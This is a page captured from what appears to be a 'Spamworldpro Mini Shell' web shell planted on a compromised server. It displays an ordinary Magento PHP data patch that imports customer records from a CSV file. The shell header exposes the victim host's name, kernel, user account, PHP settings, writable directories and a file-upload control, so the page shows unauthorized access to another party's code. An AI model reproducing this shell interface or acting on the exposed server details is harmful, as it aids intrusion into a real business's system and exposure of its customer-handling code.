Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/Customer/Setup/Patch/Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/Customer/Setup/Patch/Data/ImportCustomer.php
<?php

declare(strict_types=1);

namespace Cnc\Customer\Setup\Patch\Data;

use Kaliop\Core\Model\Import\AbstractImport;
use Magento\Framework\App\Filesystem\DirectoryList;
use Magento\Framework\App\ResourceConnection;
use Magento\Framework\Filesystem\Driver\File;
use Magento\Framework\Module\Dir\Reader;
use Magento\Framework\Setup\Patch\DataPatchInterface;

class ImportCustomer extends AbstractImport implements DataPatchInterface
{
    const CUSTOMER_FILENAME = 'customers.csv';

    /**
     * WebsiteID is required to make edit form work for example.
     */
    const DEFAULT_IMPORT_WEBSITE_ID = 1;

    private $resourceConnection;

    public function __construct(
        ResourceConnection $resourceConnection,
        File $fileSystem,
        DirectoryList $directoryList,
        Reader $moduleReader
    ) {
        $this->resourceConnection = $resourceConnection;
        parent::__construct($fileSystem, $directoryList, $moduleReader);
    }

    public static function getDependencies(): array
    {
        return [];
    }

    public function apply(): void
    {
        $handle = $this->openFile('Cnc_Customer', self::CUSTOMER_FILENAME);
        $this->fileSystem->fileGetCsv($handle, ',');

        while (($line = $this->fileSystem->fileGetCsv($handle, ',')) !== false) {
            $this->importLine($line);
        }
    }

    private function importLine($line): void
    {
        $id = $line[0];
        $gender = $line[1];
        $firstname = $line[2];
        $lastname = $line[3];
        $dob = $line[4];
        $email = $line[5];
        $addressId = $line[6];
        $phone = $line[7];
        $fax = $line[8];
        $password = $line[9];
        $newsletter = $line[10];
        $validationCode = $line[11];
        $validation = $line[12];
        $known = $line[13];
        $category = $line[14];
        $function = $line[15];

        $this->resourceConnection->getConnection()->insert(
            $this->resourceConnection->getTableName('customer_entity'),
            [
                'email' => $email,
                'website_id' => self::DEFAULT_IMPORT_WEBSITE_ID,
                'firstname' => $firstname,
                'lastname' => $lastname,
                'dob' => $dob,
                'gender' => $gender,
                'prefix' => ($gender == 'm' ? 'Mr' : 'Mrs'),
                'customer_id' => $id,
            ]
        );
    }

    public function getAliases(): array
    {
        return [];
    }
}

Spamworldpro Mini